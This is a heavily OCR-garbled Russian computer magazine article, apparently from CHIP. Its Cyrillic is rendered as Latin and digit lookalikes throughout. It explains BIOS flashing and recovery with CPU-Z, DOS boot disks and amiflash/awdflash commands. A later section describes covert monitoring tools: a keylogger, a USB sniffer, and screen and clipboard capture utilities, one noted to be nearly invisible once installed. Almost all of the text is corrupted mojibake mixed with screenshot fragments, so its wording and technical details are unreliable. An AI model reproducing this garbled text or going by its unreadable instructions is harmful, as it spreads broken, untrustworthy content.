TeMa cpa3y pacno3HaeT ero h 6y- 
RQT (J>yHKIIHOHHpOBaTB KOppeKTHO. 

3a cneT Hero oto bo3mo3cho? 

ABTOHOMHan CMdeMa: 

BIOS c aKKyMyjiflTopoM 

BIOS (Basic Input/Output System — 
6a30Ban CHCTeMa BBO^a-BBiBOfla) bb- 
jiaeTCH cepAiteM nporpaMMHoro o6ec- 
neneHHB h BaacHBiM ojieMeHTOM jho- 


6oro IIK. OHa BBinojnuieT pojib no- 

CpeflHHKa MQlKJiy KOMnBIOTepHBIMH 
KOMnjieKTyiomHMH h onepaijHOHHOH 
CHCTeMoii: 6e3 BIOS nocjie^HHH He 
CMoma 6 bi CBH3BiBaTBC5i c o6opyflOBa- 
HHeM H ynpaBJHITB HM. npH BKJHOHe- 
hhh KOMnBiOTepa, 3aAOJiro ao Toro 
xax Ha 3KpaHe noaBjiaeTCH jioroTHn 
OC, nepBoii Bcer^a CTapTyeT BIOS. 
OHa onpe^ejiiieT, KaKHe KOMnoHeH- 
TBI yCTaHOBJieHBI B IIK, npOH3BO£HT 
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Pa3H0BMflH0CTM 

BIOS 


hx HHHu;HajiH3aij:HK) h npeAOCTaBjni- 
eT bck) HH(J)opMaij;iiK) Rjin 3arpy3KH 
CHCTeMLi. CaMa BIOS pa3MemaeTC5i 
Ha cneiinajiBHOH MHKpocxeMe ctuiem- 
naMHTH Ha MaTepHHCKOH njiaTe kom- 
m>K)Tepa, npHueM coAepacHMoe naMH- 
th coxpaHBeTCH Aaxe npH otcytctbhh 
SJieKTpOnHTaHHH. 3t0 B03M0XCH0 6jia- 
ro^apB HajiHHHio otacjibhoh 6aTa- 
peftKH, KOTOpaB OTBenaeT 3a BIOS. 

Mbi OTBeTHM Ha caMBie BaxcHtie 
BOnpOCBI O BIOS H B 03 M 0 XCHBIX 06 - 
HOBjieHHHx. KoMy Heo 6 xoAHMO ocy- 


Hoea* BIOS ■ 
ycKOpaeT pa6oiy 
KOMnbiOTepa ■ 


mecTBjiBTB ee nepenponiHBKy? KaK 
y3HaTB, xaxa x MaTepHHCKaH njiaTa 
ycTaHOBjieHa b KOMnBiOTepe h Kaxyio 
BepCHio BIOS OHa Hcnojn>3yeT? Ecjih 
HMeeTCH Heo6xOAHMOCTB b o 6 hob- 
jieHHH nocjieAHeH, to KaK ocyme- 

CTBHTB 3Ty npOIjeAypy? H HTO ACJiaTB, 

ecjiH B 03 HHKJIH npo 6 jieMBi? 

Cpa3y CTOHT 3aMeTHTB, HTO He xaxc- 
AOMy ITK Tpe 6 yeTCB o 6 HOBjieHHe: 
ecjiH CHCTeMa pa 6 oTaeT CTaOnjibHO, 
B 3TOM HeT CMBICJia. A BOT TeM, KTO 
njiaHHpyeT anrpeiiA KOMnbiOTepa h 
ocHOBaTejiBHyio 3aMeHy obopyAOBa- 
HHH HJIH XOHeT nOBBICHTB npOH3BO- 
flHTeJIBHOCTB CHCTeMBI, He 06 OHTHCB 
6e3 nepenponiHBKH BIOS. 


BIOS Setup: flonojiHMTe/ibHbie 
(pyHKMMM nocjie o6HOB/ieHMfl 

JIioSaB MaTepHHCKan njiaTa ncwtep- 
3 CHBaeT TOJIBKO OTpaHHHCHHOe KOJIH- 
necTBO Mo^ejieH npou;eccopOB, ho, 
06HOBHB BIOS, 3 TOT CnHCOK MOvKHO 
3 HaHHTeJIBHO paCHIHpHTB H BKJHOHHTB 
b Hero 6 ojiee coBpeMeHHBie nimbi. 
Heo 6 xoAHMBiM ycjiOBHeM npH 3tom 
BBjiBeTCii coBMecTHMOCTB u;eHTpajib- 
hoto npou;eccopa c pa 3 beMOM MaTe- 
Phhckoh njiaTBi. npo 6 jieMBi MoryT 
B 03 HHKHyTB TOJIBKO C OHCHL CTapBIMH 
CHCTeMHBiMH roiaTaMH: HeM BBinie 
HX B 03 paCT, TeM MeHBHie BepOHT- 
HOCTB TOTO, HTO 06 H 0 BJieHHe BIOS 
HMeeT cmbicji. TaiGKe ctoht otmcthtb, 
hto npH nepenponiHBKe AajieKO He 
Bcer^a y^aeTCH aoOhtlch yBejiHne- 
HH R npOH 3 BOAHTeJIBHOCTH CHCTeMBI. 
O^HaKO cneiinajiBHBie bo3moxchocth 
h cjiyHKiiHH BIOS — HanpHMep, no- 
BBimeHHe TaKTOBOH HacTOTBi u;eH- 
TpajiBHoro npoijeccopa — 3 anacTyio 
CTaHOBHTCB AOCTynHbi tojibko nocjie 

o6HOBJieHHB. TOHHO TaK xe JIHHIB 
nocjie nepenpoiHHBKH BIOS HOBBie 
npoueccopBi KOppeKTHO pacno3HaiOT- 
CB H pa 60 Tai 0 T Ha HyJKHOH TaKTOBOH 
nacTOTe. KpOMe toto, CBexcne Bepcnn 
BIOS npefloCTaBjiBiOT nojie3HBie cjiyHK- 
u;hh, KOTopBie paciHHpmoT bo3mobc- 
HOCTH HaCTpOHKH BaiHCH CHCTe- 
MBI. THnHHHBIM npHMepOM HBJIHeTCH 
noAflepxcKa TexHOJiorHH Turbo Boost 
AJiH npou;eccopOB Intel. Ho nepeA 
TeM KaK np 0 H 3 BecTH obHOBjieHHe, 


Phoenix - Aw id BIOS CMOS Setup Utility 


► pCuru Utility 


► Standard CMOS Features 


► Advanced BIOS Features 


► Advanced Chipset Features 

► Integrated Peripherals 


► Power Management Setup 


Quit 

Save A Exit Setup 
Save PROFILE To BIOS 


► PnP/PCI Configurations 
Load Fail-Safe Defaults 


Load Optimized Defaults 


Save A Exit Setup 


BIOS Setup DiaBHoe 
Memo BIOS coctoi/it m 3 
MHO>KecTBa pa 3 ,qe/ioB 


| 

STT.TY-iQ 

£m JEm r. i 


[ a, 



CDBurnerXP — 6 ec- 
ruiaTHafl nporpaMMa 
fl/lfl 3 anMCM flMCKOB, no 3 - 
BOHHIOLHasq 3 My/inpoBaTb 
3 arpy 30 HHyio flMCKeiy aha 
nepenpoiiJMBKM BIOS 




7 I 2 .X 1 B M 2 JE 


I « I 1 ■ 


neperatuim chmui 4 hm^u HAM khcfwnMyfi'ra HMonny 'flo 6 aanTb'\ 


I “ *4 Orwil * 


Configure System Performance Set! 



Target CPU Frequency : 2BQQHH;? 
Target DRftM Frequency: 1333HHz 

Van can PC based on "PC From. CPU 
CPU QuerClocR ing 
□C From CPU Leoel 
CPU Ratio 

CPU/HT Refer eiii 
POE Frequeni 
BRA Ml Freqm 
CPU/NB Frc 
HT Link Spt >v 

K 

Enhanced i& 1 


KaK npaBM/io, 

AJ 1 R KaJKflOM 
MOflenn cucTeM- 
hom nBaibi Tpe 6 yeT- 
CR CBOR BIOS, TaK KaK B HeM AOJDKHbl 
6 biTb yHTeHbi oco 6 eHHOCTM ncno/ib 3 y- 
eMoro Hunceia m nepn^epuMHoro 
o 6 opyAOBaHMR. OAHaKO co 3 Aaie/iRM 
n^aT HeBbiroAHO Tpaimb BpeMR n 
cpeACTBa Ha nojiHbm u,m n pa 3 pa 6 oTKM 
co 6 cTBeHHbix BIOS, nosTOMy mx noRy- 
HeHMe 06 blHH 0 COCTOMT M 3 A B yx 3 Ta- 

noB. ripoM 3 BOAMTejib BIOS (HaM 6 oRee 
M 3 BecTHbie KOMnaHMM — AMI, Award 
m Phoenix) pa 3 pa 6 aibiBaeT 6 a 30 Byio 
BepCMIO, B KOTOpOM peaRM 30 BaHbl 
Bee ((DyHKAMM, He 33 BMCRlAMe OT oco- 
6 eHH 0 deM toto mjim mhoto HMnceia. 
Co 3 AaieRb cMdeMHOM n/iaTbi caMO- 
CTORTe/lbHO MJIM COBMeCTHO C HMM 
coBepmeHCTByiOT 6 a 30 Byio BepcMio, 
yHMTbl B 3 R 0 C 06 eHH 0 CTM KOHKpeTHOrO 
npOAYKTa. n PM 3 T 0 M An^ OAHOM m tom 

>Ke MOAe/iM koa BIOS MoweT HeoAHO- 
KpaTHO MeHRTbCR y>Ke noc/ie BbinycKa 
n^aTbi — HanpMMep, A/ifl McnpaB/ieHMR 
HaMAeHHbix oiijm 6 ok MRM A 06 aBReHMR 
nOAAep>KKM HOBbIX yCTpOMCTB. TaKMM 
o 6 pa 30 M, noHRTMe «BepcMR BI 0 S» mo- 
>KeT npMMeHRTbCR o 6 o 3 HaHeHMR 
BapMaHTa 6 a 30 Boro KOAa BIOS, Bbiny- 
lAeHHoro cneuMa/iM 3 MpoBaHHOM kom- 
naHMeM. HanpMMep, AwardBIOS 6.0 — 
wecTafl BepcMR BIOS ot c(d m p m bi Award, 

MOAMCjDMKaAMM KOTOpOM MCnOJlb 3 yKDTCR 

bo mhotmx MaiepMHCKMx n^aiax. flRR 
Ka>KAOM MOAe/iM n/iaTbi mcxoahum koa 
A opa 6 aTbiBaeTCR cyneTOM oco 6 eHHo- 
CTeM HMnceia m nepMc(DepMMHbix ycT- 
POMCTB. MHOTAa MO)KHO BCTpeTMTb 
BepcMM BIOS, ue/iMKOM co 3 AaHHbie 
npOM 3 BOAMTeilRMM CMCTeMHbIX n^aT 
mjim Hoyi 6 yKOB — Intel, IBM, Compaq, 
Toshiba, Dell m HeKOTopbiMM apY^mmm 
M 3 BeCTHblMM KOMnaHMRMM. Ilo npMH- 
AMny ((DyHKAMOHMpOBaHMR M MHTep- 
C( 3 eMCy OHM HeCMJlbHO OTJIMHaKDTCR 

ot BIOS npoM 3 BOACTBa Award, AMI 
mjim Phoenix, noaTOMy pa 3 o 6 paTbCR 
c HMMM He OHeHb cjiojkho. 
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n:n^ FIPAKTMKA flepenpoLUMBKa BIOS 



flBOUHaji BIOS 

HeKOTopbie MaiepMH- 
CKi/ie ruiaibi 06 /ia.qaioT 
A Byivm MMKpocxeMaivm 
BIOS. Ecjii/i OAHa M3 

HMX BbIXOAMT M3 CTpOfl, 
b pa6oTy aBTOMaTMHe- 
ckm BK/iiOHaeTCfl Apyraa 


HeoGxOAHMO BBinOJIHHTB HeKOTOpBie 
npHrOTOBJieHHii: KpOMe HaeHTHC|3HKa- 
Topa MaTepHHCKOH njiaTBi HyacHO 
y3HaTB HOMep yCTaHOBJieHHOH BepCHH 
BIOS. B 3tom BaM noMoaceT decroiaT- 
Haa yrajinra CPU-Z. 

CPU-Z: no/iynaeivi no/ie 3 Hyio 

MHCtDOpMaMMK) 

flaHHoe npHjioaceHHe npeaocTaBjiH- 
eT CBeaeHHH 06 ycTaHOBjieHHOM npo- 
aeccope: Ha3BaHne, h3totobhtc jib , Ha- 
npiDKeHne nnraHHH aapa, CBeaemm 
o Kein-naMHTH, HadopBi noaaep^cnBa- 
eMBix HHCTpyKijHH h apyrne flaHHBie. 
Taioxe CPU-Z MoaceT onpeaejiHTB, 
6biji jih pa3omaH npopeccop, hjih oh 
paOoTaeT Ha 3 aBoacKon uacTOTe. Ilocjie 
3 anycxa yTHjiHTBi Ha BKjiaaxe «MaTe- 
pHHCKaB njiaTa» mo>kho y3HaTB bck> 
HH(j)OpMapHK) O npOH3BOAHTeJie, Ha- 


3BaHHe MoaejiH h nnnceTa, a Taiofce 
TeKymyio Bepcnio BIOS. CpaBHHTe 3 th 
aaHHBie c napaMeTpaMH Banien Ma- 
TepHHCKOH njiaTBi, yKa3aHHBIMH Ha 
OCjlHIIHaJIBHOM CaHTe npOH3BOAHTeJTH. 

Ecjih ancjipa, yKa 3 amiaH b CPU-Z, 
coBna^aeT c HOMepOM caMOH nocjiea- 
HeH BepCHH BIOS, nepenponiHBKa 
He TpeGyeTCH. Ilpn hbjihhhh Ha can- 
Te 6 ojiee CBeacero BapnaHTa 3 arpy 3 H- 
Te HeoGxoAHMBiH apxHB. Kax npaBH- 
JIO, OH COAepJKHT HCnOJIHHeMBIH (J)aHJI 
c pacniHpeHHeM EXE, kotopbih hc- 
nojiB 3 yeTCH Rim oGhobjichkh BIOS 
(HanpHMep, amiflash.exe, awdflash. 
exe h t. n.), h (Jianji c KoaoM BIOS 
b (JiopMaTe BIN hjih ROM. CnocodBi 
nepenpoiHHBKH Moryr pa 3 JiHuaTBCH b 
3 aBHCHMOCTH OT npOH 3 BOAHTeJIH Ma- 
TepHHCKOH njiaTBi. Eojibihhhctbo pa 3 - 
paGoTHHKOB npe^JiaraiOT BOcnojn> 30 - 



CPU | Caches | Mamboard | Memory | SPO | Graphics | About | 
Processor 


CPU-Z npeAoaaBMT 
caMbie noApo6Hbie 
CBeAeHMa o Koivm- 
JieKTyiOLAMX 




65 nm Core Voltage 1.144 V 

InteKR) Core(TM)2 Duo CPU E6750 @ 2.66GHz 
Stepping 
Revision < 


Model 

Ext. Model f 


B 


Instructions MMX. SSE (1 . 2. 3. 3S), EM64T, VT-x 


Clocks (Core #0) 

Core Speed 2003.8 MHz 

Multiplier x 6.0 

Bus Speed 334.0 MHz 

Rated FSB 1335.8 MHz 


Cache 
LI Da 
LI In: 
Leve 

Level 


AA>dir 

Ubliae in drive A does not hive i label 
Directory of A:\ 


Selection j Processor #1 


CPU-Z Version 1.56 


DOS — caiviafl 6e3onacHaa cpeAa 
Atih nepenpoLUMBKM BIOS 


con 

66*785 

1-87-99 7:83t 

: BAT 

14 

3-26-88 6:42p 

1 EXE 

32*190 

9-82-82 12:41* 

BIN 

262.144 

7-18-88 l:51p 

4 File(s) 

361*133 Bytes 


1.639.368 bytes free 
:\XMFLASH BE6 1H.IIN /ti IE6_PL.BIN /SI 


BaTBCH COOCTBeHHBIMH yTHJIHTaMH , 
KOTOpBie no3BOJHHOT o6hobjihtb BIOS 
HenocpeACTBeHHO H3 cpeaBi Windows. 
O^HaKO H3 coodpaacerani 6e3onac- 
hocth mbi peKOMeHAyeM npHdemyTB 
k 6ojiee HaacacHOMy cnocody. 

DOS: jiyHLuaa cpefla 
fl/ifl ofiHOBJieHna BIOS 

C HaHMeHBiHHM phckom nepenpo- 
IHHBKa BBinOJIHHeTCH C nOMOmBK) 3a- 
ipy30HHOH AHCKCTBI, aHCKa HJIH «4>JieiH- 
kh» b pejKHMe DOS. IlepBBiH H3 yxa- 
3aHHBIX HOCHTeJieil MOXHO C03A,aTB, 
HanpHMep, b IIpOBoaHHKe Windows: 


llepenpouiMBKa ■ 
BIOS — AOBOJIbHo] 
npocran onepaip/m 


AOCTaTOHHO meJIKHyTB npaBOH KHOn- 
KOH MBIHIH no HpJIBIKy AHCKOBO^a 
H BBldpaTB nyHKT «OopMaTHpOBaTB», 
aKTHBHpOBaB B KOHTeKCTHOM MeHK) 
omiHio «Co3^aTB 3arpy3onHyio a hc- 
KeTy MS-DOS» h yxa3aB nyTB k cxa- 
naHHBiM (J>aHJiaM BIOS. 3arpy30HHBiH 
CD MOJKHO C03^aTB c noMomBio npaK- 
TnnecKH jho6oh decnjiaraon npor- 
paMMBi rjw npoamra an ckob — Ha- 
npHMep, yTHjiHTBi CDBurnerXP. BaM 
noHaaodnrcH o6pa3 HanajiBHOH 3a- 
rpy3KH c HMeHeM boot.ima, kotopbih 
mOvKho HaiiTH Ha caHTe CDBurnerXP 
hjih HaineM DVD. Ero cjieayeT ot- 
kpbitb c noMomBio nporpaMMBi Ultra 
ISO, nepeTamHTB b otkpbibihhh- 
ch cnncoK (jianjiBi c KOflOM Baine- 
ro BIOS h coxpaHHTB. Ilocjie 3Toro 
3anycTHTe nporpaMMy CDBurnerXP, 
BBidepHTe pexcHM 3anncH «/],hck c 
A aHHBIMH» H HaXMHTe OK. OTKpO" 
eTcn rjiaBHoe okho nporpaMMBi. Qae- 
jiaiiTe ahck 3arpy30HHBiM: BBidepH- 
Te «^hck | 3arpy30HHBie onpHH», b 
OTK pBiBineMCH OKHe OTMeTBTe rajiou- 
koh nyHKT «CaejiaTB ^hck 3arpy3on- 
hbim» h 3aaaiiTe nyTB k coxpaHeHHO- 
My 3arpy30HH0My o6pa3y, yKa3aB ran 
3MyjiHL(HH «OjionnH 1,44 M6aiiT». 
BBinojiHHTe npojKHr CD, HajxaB Ha 
KHomcy 3anncH, 3aTeM nepe3arpy- 
3HTe KOMnBiOTep h yKaxHTe b MeHio 
3anycKa cboh npHBoa. KOMnBiOTep 
3arpy3HTcn b DOS c KOMaHaHOH 
CTpOKOH, B KOTOpOH OTKpBIT KaTBJIOT 

A:\>. Ecjih bbi BBeaeTe «dir /w», to 
CMOJKeTe npocMOTpeTB coaepJKHMoe 
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Ahckctbi hjih a HCKa. nepenponiHB- 
Ky BIOS M03CH0 OCymeCTBHTB H3 
KOMaH^HOH ctpokh. HHOTAa o 6 hob- 
jieHHe BIOS He HauHHaeTcn aBTOMa- 
THUeCKH — B 3TOM CJiyuae BBinOJIHH- 
Te KOMaH^y dir h 3anycTHTe c[)aHji 
c pacniHpeHHeM BAT (HanpHMep, 
update.bat). Ilocjie ycnenmon nepe- 
nponiHBKH H3BjieKHTe flHCK h nepe- 
3arpy3HTe KOMnBiOTep. 

Pa3H0BMflH0CTM BIOS: 

AMI, Phoenix n Award 

Ecjih Ha MaTepHHCKOH njiaTe ycTa- 
HOBjieHa AMI BIOS, to rjiz ee 06- 
HOBjieHHH HcnojiB3yeTC5i KOMaH^a 
«amiflash.exe BIOS.bin», npnueM cjio- 
BO BIOS HeoGxOAHMO 3aMeHHTB HMe- 
HeM (J>aHJia c koaom. Ilocjie BBinoji- 
HeHHB KOMaH^BI OTKpOeTCH OKHO, B 
kotopom 6y#eT oTobpaxaTBcn xo a 
obHOBjieHHB BIOS. Bo BpeMH nepe- 

npOIHHBKH HH B KOeM CJiyuae HeJIB 3 B 
BBIKJIIOHaTB KOMnBiOTep HJIH OTKJHO- 
naTB 3 JieKTponHTaHHe, Tax KaK 3 to 
MOJK eT npHBecTH k HenonpaBHMOMy 
noBpejK^eHHio CHCTeMBi. KaK tojib- 
ko npoijecc 3 aBepniHTcn, nporpaMMa 
BBinojiHHT aBTOMaTHnecKHH nepe 3 a- 
nycK IIK. H3BjieKHTe 3 arpy 30 UHyio 
AHCKeTy HJIH AHCK H 3 npHBOfla h 

3arpy3HTe Windows. C noMonjBio yrn- 
JIHTBI CPU-Z MOJKHO npOBepHTB, 
Gnijia jih ycTaHOBjieHa HOBan Bepcnn 
BIOS. OjiHaKO nepenponiHBKa He Bcer- 
A a npoxoflHT rjia^KO. Ho Aaxe ecjm 
bo3hhkjih KaKHe-TO npobjieMBi h noc- 
jie obHOBjieHHH BIOS Bain KOMnBiO- 
Tep bojiBine He 3arpyxaeTcn, to oto 
eme He 3HauHT, uto ero HejiB3n cna- 
cth. Ecjih cpox rapaHTHH Ha Bain 
nK He HCTex h bbi HMejin ^ejio c npo- 
TpaMMaMH H npOniHBKOH OT 0(j}H13H- 


Ecjih KOMnbiOTep He 

Ilocjie o6HOB/ieHM5i BIOS Bam IIK nepe- 
cra/i BKBfOHaTbcn, n Bbi He MoiKeTe fla>Ke 
BOMTM B HaCTpOMKM BIOS? OTCOeflMHMTe 
KOMnbiOTep ot ceTM, BbiHyB mieKep nv\- 
TaHMji M3 po3eTKM. OTKpoMTe Kopnyc 
CMCTeMHoro 6/iOKa m KOCHMTecb pyKOM 
POBHOM MeTa/l/IMHeCKOM nOBepXHOCTM 
C BHyTpeHHeM CTOpOHbl, HT06bl CHflTb 
CTaTMHeCKOe 3JieKTpMHeCTB0. HaMflMTe 
6aTapeK) Ha MaTepMHCKOM n/iaTe. 
3anoMHMTe, KaK OHa ycTaHOBjieHa 
(KaK npaBMjio, «+» HaxoflMTCn CBepxy). 
CHMMMTe ee, OT>KaB MeTa/lJlMHeCKMM 
K0HT3 KT B CTOpOHy. nOflOKflMTe MMHyTy 
m ycTaHOBMTe 6aTapeio Ha npewHee 
MecTO. Iloc/ie BK/noneHMn KOMnbioTepa 

aJIBHBIX pa3pa60THHK0B, BBI MOJKeTe 
npeA'BnBHTB npeTeH3Hio k npOH3BO- 
AHTeJHO. O^HaKO HCn0JIB30BaHHe MO- 
AHCjlHIIHpOBaHHBIX (J)aHJIOB BIOS OT 
ctopohhhx nocTaBm,HKOB , obemaio- 
iahx 6ojiee BBicoxyio npOH3BOAH- 
TejiBHOCTB hjih Gojibuioh noTeHAHaji 
pa3TOHa CHCTeMBi, He nBjweTcn ra- 
paHTHHHBiM cjiynaeM. B xauecTBe ajn>- 
TepHaTHBBI mojkho npHberHyTB K 
njiaTHBiM ycjiyraM $HpM, cneu;Ha- 
JIH3HpyiOmHXCn Ha BOCCTaHOBJieHHH 
MaTepHHCKHX HJiaT C OUfflOKaMH BIOS. 
B HexoTOpBix CHTyau;Hiix noMoraeT 
C03flaHHe Ha ApyroM, ncnpaBHOM kom- 
nBiOTepe ahckctbi c nporpaMMOH jjjm 
npOUIHBKH H (j)aHJIOM c KOAOM BIOS. 

B cjiynae c BIOS ot KOMnaHHH Phoe- 
nix hjih Award HeobxoAHMO co3AaTB 
Ha AncxeTe (JiaHji c HMeHeM autoexec, 
bat. HcnojiB3ynTe j\jik ototo ctah- 
aapTHyK) nporpaMMy Windows — Ejiok- 
hot. Oanji AOJDKeH co^epjKaTB cjieay- 
iomyio CTpoxy: 

awdfLash.exe BI0S_DATA /py /sn 

3aMeHHTe cjiobo BIOS DATA Ha hmh 
(J iaHjia c koaom BIOS (BKjnonan pac- 
nmpeHHe — xax npaBHjio, BIN hjih 

noBpeMfleHHyto 
MMKpocxeiviy 

BIOS M 0 >KH 0 
BOCCTaHOBI/ITb 
C nOMOLI^bfO 
flpyroro, 
McnpaBHoro 
KOMnbKnepa 


3anycKaeTCH 

HacTpoiiKM BIOS 6yAyT B03BpameHbi 

K 3 aB 0 flCKMM 3 HaHeHMHM. ECJIM >Ke Bbi 
He yBepeHbi b 3 aH 0 B 0 BbicTaB/ieHHbix 
napaMeTpax, aKTMBMpyMTe cjiyHKUMK) 
«Load Setup DefauLts» m BbiMAMTe M 3 
BIOS c coxpaHeHMeM. 



ROM). Kjhohh /py h /sn HyacHBi ajih 
BB inojiHeHHH nepenponiHBKH 6e3 jiaJiB- 
Henmero ynacTHH nojiB30BaTejin. 
wma Ecjih Ha MaTepHHCKOH iuiaTe 
ycTaHOBjieHa AMI BIOS, AOCTaTouHO 
coxpaHHTB Ha AHCKeTe (Jianji c kojiom 
BIOS h nepenMeHOBaTB ero b amiboot. 
rom. BcTaBBTe AncxeTy h bo BpeMH 
3arpy3KH HajKMHTe KOM6HHau;Hio Kjia- 
BHin «Ctrl+Home». BnponeM, oto pe- 
nieHHe noMoraeT jthtttb b 10—20% Bcex 
cjiyuaeB, TaK KaK npn noBpejKACHHH 
BIOS 3auacTyio HeB03M0JKH0 BBinoji- 
hhtb oOpameHne k ancKOBOAy 

llociieflHMM cnoco6 cnaceHMn: 

KorAa Hnnero He noMoraeT 

Ecjih y koto -to H3 Baninx 3HaKOMBix 
HMeeTcn TaKan ace moacjib MaTepHH- 
CKOH njiaTBI, TO MOJKHO BOCCTaHO- 
BHTB CBOK) BIOS C nOMOUIB K) ApyrOTO 
KOMnBiOTepa. 3arpy3HTe HcnpaBHBiH 
IIK b pexcHMe DOS h npHTOTOBBTe 
AHCKeTy CO BCeMH HeobxOAHMBIMH 
AJin nponiHBKH AaHHBiMH. HenocpeA- 
CTBeHHO BO BpeMH pabOTBI KOMnBIO- 
Tepa c noMOiABio nHHijeTa aKKypaT- 
HO H3BJieKHTe MHKpOCXeMy BIOS H3 
MaTepHHCKOH njiaTBi h BCTaBBTe Bainy 
noBpexAeHHyio. IIpH otom TpebyeT- 
cn npeAejiBHan octopojkhoctb, Tax 
KaK ELK BKjnoueH. TenepB 3anycTHTe 
c AncKeTBi npou;ecc nponiHBKH. Ta- 
KHM o6pa30M BBI obHOBHTe CBOK) 
HencnpaBHyio MHKpocxeMy BIOS Ha 
pabouen MaTepHHCKOH njiaTe npo- 

TpaMMHBIMH CpeACTBaMH. nOCJie 3TO- 
TO BBIKJHOHHTe KOMnBIOTep H CHO- 
Ba noMemiHTe KOMnoHeHTBi MecTaMH. 
Ecjih Bee 6 bijio CAejiaHO npaBHjiBHO, 
nK c paboTaiomen BIOS CHOBa 3a- 
rpy3HTcn. OAHaKO HeobxoAHMO OTMe- 
THTB, UTO ObHOBJieHHe BIOS H HCnpaB- 
jieHHe ouihOok BceMH onncaHHBiMH 
cnocobaMH BBinojiHinoTcn hckjhohh- 
TeJIBHO Ha CBOH CTpaX H pHCK. HHI? 
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n:n^ FIPAKTMKA XaKepcKne nporpaMMbi 


XopouiMe «iuio 


CymecTByiOT MomHbie nporpaMMbi, KOTopbiMM 
no/ib3yiOTCfl mologhhukh n KOTopbie HcIhocbt 
orpoMHbm Bpefl. Ho b pyKax nopaflOHHoro 
HenoBeKa ohm padoTaiOT bo 6naro m noMoraiOT 
3aLi^MLi^aTb CMCTeMy ot nocnraTenbCTB xaKepoB. 


UJnNOHbi aim Windows 


Busdog llepexBaTbiBaeT nepeflany /jaHHbix c USB-ycTpcmcTB 

Hooker PerMcipnpyeT Bee Hawan/m Ha KHoriKM KjiaBi/iaiypbi 

RunAlyzer AHanM3MpyeT 3arpy3Ky Windows 

Spy Screen OcymecTB/iaeT KOHTponb 3a Pa6oni/iM ctojiom 

m dycjjepoM odivieHa 

Wamon 3 anncbiBaeT fleMCTBMn nojib 30 BaTe/in 
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RunAlyzer npoBe- 
pneT Bee cny>K6bi 
i/i nporpaMMbi, 
3 anycKaiOLHi/iecfl 
BMede c Windows 



Ecjih CHCTeMa CTajia padoTaTb He- 
CTa 6 HJIbHO HJIH CJIHIHXOM MQRJien- 

ho, ctoht npOBepHTb, xaxne npoijec- 
cli ocymecTBjiinoTca b Hen b Texymnn 
MOMeHT. B 3 tom BaM noMoryT cneu;H- 
ajiBHBie yTKJiHTBi, KOToptie npocMa- 
TpHBaiOT KaK aKTHBHBie CHCTeMHBie 
cjiyacGxi, Tax h 3 anymeHHBie npor- 
paMMBi. 3 th ace cpeacTBa ncnojiB 3 y- 
K)T pa 3 pa 60 THHKH Bpe^OHOCHOTO 110 , 
hto 6 bi bbihchhtb, HaaeacHO jih cnpa- 
TaHBi hx nmnoHCKHe nporpaMMbi. 

Co 3 aaTejib H 3 BecTHoro aHTHinnHOHa 
Spybot Search & Destroy Tenepb npea- 
jiaraeT h yrajiHTy RunAlyzer, xoTOpaa 
BHHMaTejibHO H 3 ynaeT cncTeMy Ha npea- 
MeT Toro, hto 3 anycKaeTCn npn ee 3 arpy 3 - 
xe. Onuna «Analysis | Online Analysis» 


no 3 BOJineT cpaBHHTb Bee axraBHbie 
cjiyacGbi h npHjioaceHHH c dejibiM cnnc- 
kom H 3 Cem h npeaynpeacaaeT nojiB 30 - 
BaTejiH, ecjin Ha ero KOMnbioTepe 060 - 
CHOBajiacb noA 03 pHTejibHan ymjiHTa. 
Touho Taxaa ace npOBepxa aaeT xaxepy 
3 HaTb, obHapyaouia jih RunAlyzer ero 
nmnoHCxyio nporpaMMy h coobiamia 
JIH 06 3 T 0 M n 0 JIb 30 BaTeJH 0 . 

B cjiyuae HeHaxovK^eHHH Bpe^OHOc- 
Horo no b flejio BCTynaiOT Taxne npor- 
paMMbi, xax Spy Screen h Wamon. Ohh 
Habjiio^aiOT 3 a BceMH achctehhmh, 
ocymecTBjineMbiMH Ha xoMnbiOTepe, 
h nojie 3 Hbi, xor^a Hy*no y 3 HaTb, He 
paboTaji jih 3 a BaniHM ITK xto-to 
nOCTOpOHHHH. KpOMe Toro, B HeXOTO- 
pbix xoMnaHHHx aHajiomuHbie njiaT- 


Hbie npOAyxTbi Hcnojib 3 yiOTC 5 i Rjm 
XOHTpOJIH 3 a 0 (j)HCHbIMH COTpy^HHXa- 
mh. Spy Screen 6 e 3 BpeflHa: xaxAbie 
9 cexyna OHa ^ejiaeT cxpHHmoT Pa- 
6 onero CTOJia h 3 anHCbiBaeT coflepJKH- 
Moe 6 y 4 >epa obMeHa. B to BpeMH xax 

fleHTeJIbHOCTb 3T0H yTHJIHTbl OTpaHH- 

ueHa xoHxpeTHbiM ITK, Wamon moxcho 
HC n 0 JIb 30 BaTb H JIJW XOHTpOJIH B CeTH 
uepe 3 HHTep(J)eHC 6 pay 3 epa. Ilpn 3 tom 
ycTaHOBjieHHan nporpaMMa npaxTHue- 
cxH He 3 aMeTHa. B MeHio «ITycx» 3 anncb 
o Hen 6 yaeT co 3 AaHa jinmb no Tpe 6 o- 
BaHHio, a juvl yaajieHHH nporpaMMbi b 
Windows Vista h 7 noHaaodHTCH nepen- 
th b nanxy C:\Program Files\Wamon h 
3 anycmTb (JiaHji uninsOOO.exe — tojib- 
XO Tax MOvKHO OT Hee H 36 aBHTbCH. 


DVD/DOWNLOAD: BCE nPOrPAMMbl Bbl HAI/lflETE B PA3flEJ1E fll/ICKA BOHYC 
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» nporpaMMbi 


nnOXME 
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o) CHIP DVD 

Ha HaweM flMCKe Bbi 
HaMfleie Ha 6 op xaxep- 
cki/ix nporpaMM, koto- 
pbie npnroAflTCfl ajiji 
peiueHMa coBepiueHHO 
6e3o6nflHbix3aflaH. 


CucieMHbie 

B 3 H 0 MU|NKH 


31112 1 Prat*n h!i r «gtr - fuie pe* 1 kmi 
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Bill2’s Process Manager Komponi/ipyeT npopeccbi 
Kid-Key-Lock 5/iOKi/ipyeT Mbiiub 

Switch Off 3aKpbiBaeT OKHa nepe3 l/lmepHeT 

WinHide.SB CKpbiBaeT nporpaMMbi 


fljiH HacTpOHKH Windows no# koh- 
KpeTHLie Hy>Knbi bbi MOxeTe ncnojib- 
30BaTB yrajiHTBi, CKpLiBaiomne npor- 
paMMBi h OKHa, a TaioKe no3BOjnnomHe 
yzjajieHHO ynpaBjwTB CHCTeMOH hjih 
3aBepmaTB ee padoTy. Ho ohm xe cno- 
co6hbi HaHecTH cymecTBeHHBiii Bpea 
BaineMy KOMnbiOTepy. 

C noMomtio yTHjiHTBi WinHide.SB 

M03CH0 CKpBITB OKHa KOMdHHaiJHeH 
KjiaBHm, hto6bi ouhcthtb MecTO Ha 
PadoueM CTOJie. A (fcynKujw «Hoctohh- 
